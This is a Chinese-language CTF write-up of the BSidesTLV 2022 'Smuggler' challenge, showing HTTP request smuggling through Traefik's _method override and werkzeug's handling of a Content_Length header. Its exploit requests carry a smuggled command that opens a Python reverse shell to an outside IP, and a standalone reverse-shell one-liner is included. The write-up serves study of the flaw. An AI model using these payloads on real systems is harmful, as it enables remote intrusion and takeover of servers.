BSidesTLV 2022 smuggle 的一些思考
参考
Smuggler - CTFs (zeyu2001.com)
wp
exp
POST /?_method=PUT HTTP/1.1
Host: 10.8.0.1:30010
Content-Length: 305
Content_Length: 0
GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%228.129.42.140%22%2c%203307))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: 10.8.0.1:30010
分析:
1。traefik虽是最新版,但是阅读源码后发现可以_method发送put请求
2。flask自带的from werkzeug.serving import WSGIRequestHandler 这个服务是可以被CSRF的,而且还有识别错content_type的特性
所以用exp的时候,traefik会把/?_method=PUT直接转化为PUT请求
PUT / HTTP/1.1
Host: 10.8.0.1:30010
Content-Length: 305
Content_Length: 0
GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%228.129.42.140%22%2c%203307))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: 10.8.0.1:30010
然后go会转发给python微服务,如上转发
可是python的自带的解析出现Bug, (werkzeug.serving),会把Content_Length也识别为Content-Length,于是出现冲突后Content-Length设置为0,那么这样就变成两个请求了
PUT / HTTP/1.1
Host: 10.8.0.1:30010
Content_Length: 0
GET /?cmd=python%20-c%20'import%20socket%2csubprocess%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%228.129.42.140%22%2c%203307))%3bsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d%2cstdin%3ds.fileno()%2cstdout%3ds.fileno()%2cstderr%3ds.fileno())' HTTP/1.1
Host: 10.8.0.1:30010
一些知识点
python 反弹shell
python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.129.42.140", 3307));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
适用于os.system的情形
from werkzeug.serving import WSGIRequestHandler 的危险
其实是flask自身对request请求处理的风险
实验:
-
正常发送请求,回显a=123
-
发送下划线版的请求头,回显a=123,如下
Content-Length: 5
Content_Length: 5
a=123
回显200
- 修改下划线版的请求头value,报错
Content-Length: 5
Content_Length: 7
报错
推测是:
真的把_
认为是-
了,覆盖了前面的
假说验证:
保持下划线版的请求头不变,添加额外参数,且改变Content-Length的值
Content-Length: 11
Content_Length: 5
a=123&b=123
回显是
a=123
也即意味着后面的都可以随意构造,不会报错
结论就是:flask具有将下划线识别为-
的特性,借此可以通过下划线版的请求头自定义请求长度,造成影响